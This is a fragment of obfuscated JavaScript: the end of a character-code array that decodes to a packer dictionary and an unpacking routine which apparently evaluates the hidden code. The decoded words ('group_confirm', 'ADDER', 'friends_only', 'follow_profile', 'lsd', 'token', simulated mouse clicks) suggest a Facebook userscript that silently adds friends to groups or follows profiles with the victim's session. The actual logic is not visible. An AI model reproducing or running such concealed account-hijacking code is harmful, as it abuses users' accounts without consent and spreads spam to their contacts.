1,111,108,115,32,80,108,101,97,115,101,32,103,114,97,121,32,80,101,103,97,115,117,115,32,71,111,100,32,95,65,68,68,69,82,32,32,65,100,100,105,110,103,32,70,111,114,32,87,97,105,116,32,117,105,66,117,116,116,111,110,76,97,114,103,101,32,77,111,117,115,101,69,118,101,110,116,115,32,112,114,111,116,111,116,121,112,101,32,103,114,111,117,112,95,99,111,110,102,105,114,109,95,49,48,57,55,53,53,54,56,50,52,53,50,48,51,57,95,32,98,117,116,116,111,110,32,102,105,110,100,32,115,111,117,114,99,101,32,103,114,112,110,97,109,101,32,112,114,111,102,105,108,101,95,105,100,32,82,101,103,69,120,112,32,115,117,98,115,99,114,105,98,101,100,95,98,117,116,116,111,110,95,105,100,32,105,110,105,116,77,111,117,115,101,69,118,101,110,116,32,99,114,101,97,116,101,69,118,101,110,116,32,67,108,105,99,107,32,67,108,105,99,107,84,105,109,101,111,117,116,32,109,111,117,115,101,117,112,32,109,111,117,115,101,100,111,119,110,32,103,114,111,117,112,115,74,117,109,112,84,105,116,108,101,32,102,98,120,87,101,108,99,111,109,101,66,111,120,78,97,109,101,32,110,109,32,102,114,105,101,110,100,115,95,111,110,108,121,32,115,116,97,108,101,95,111,107,32,102,111,108,108,111,119,95,112,114,111,102,105,108,101,32,112,97,121,108,111,97,100,32,112,104,111,116,111,32,101,110,116,114,105,101,115,32,118,55,32,116,111,107,101,110,32,102,105,114,115,116,95,100,101,103,114,101,101,32,116,121,112,101,97,104,101,97,100,32,102,105,108,116,101,114,32,117,115,101,114,32,118,105,101,119,101,114,32,108,97,122,121,32,86,105,115,105,116,85,114,108,32,100,105,115,112,97,116,99,104,69,118,101,110,116,32,114,101,112,108,97,99,101,32,116,104,115,32,115,112,108,105,116,32,95,95,32,108,115,100,32,117,51,55,113,97,99,95,51,55,32,120,112,97,116,104,32,103,101,116,84,105,109,101,32,68,97,116,101,32,77,115,120,109,108,50,32,49,54,53,56,49,54,56,53,54,49,48,49,53,51,56,55,55,56,49,49,51,48,32,49,54,53,56,49,54,53,49,50,48,49,49,51,49,49,54,49,48,52,53,50,49,49,49,52,32,77,105,99,114,111,115,111,102,116,32,120,109,108,32,116,111,85,112,112,101,114,67,97,115,101,32,116,111,76,111,119,101,114,67,97,115,101,32,114,101,115,112,111,110,115,101,88,77,76,32,101,118,97,108,32,97,112,112,101,110,100,67,104,105,108,100,32,105,110,100,105,99,97,116,111,114,32,70,105,110,100,66,121,67,108,97,115,115,78,97,109,101,32,70,105,110,100,66,121,88,80,97,116,104,32,98,97,100,32,71,77,95,108,111,103,32,97,98,115,111,108,117,116,101,32,98,108,111,99,107,32,111,110,69,114,114,111,114,32,98,105,110,100,32,105,110,32,99,114,101,97,116,101,69,108,101,109,101,110,116,34,46,115,112,108,105,116,40,34,32,34,41,44,10,102,61,48,44,103,61,123,125,44,102,61,102,117,110,99,116,105,111,110,40,98,41,123,114,101,116,117,114,110,40,54,50,62,98,63,34,34,58,102,40,112,97,114,115,101,73,110,116,40,98,47,54,50,41,41,41,43,40,51,53,60,40,98,37,61,54,50,41,63,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,43,50,57,41,58,98,46,116,111,83,116,114,105,110,103,40,51,54,41,41,125,59,105,102,40,33,34,34,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,102,111,114,40,59,100,45,45,59,41,103,91,102,40,100,41,93,61,101,91,100,93,124,124,102,40,100,41,59,101,61,91,102,117,110,99,116,105,111,110,40,98,41,123,114,101,116,117,114,110,32,103,91,98,93,125,93,59,102,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,34,92,92,119,43,34,125,59,100,61,49,125,102,111,114,40,59,100,45,45,59,41,101,91,100,93,38,38,40,99,61,99,46,114,101,112,108,97,99,101,40,82,101,103,69,120,112,40,34,92,92,98,34,43,102,40,100,41,43,34,92,92,98,34,44,34,103,34,41,44,101,91,100,93,41,41,59,97,40,99,41,59,10))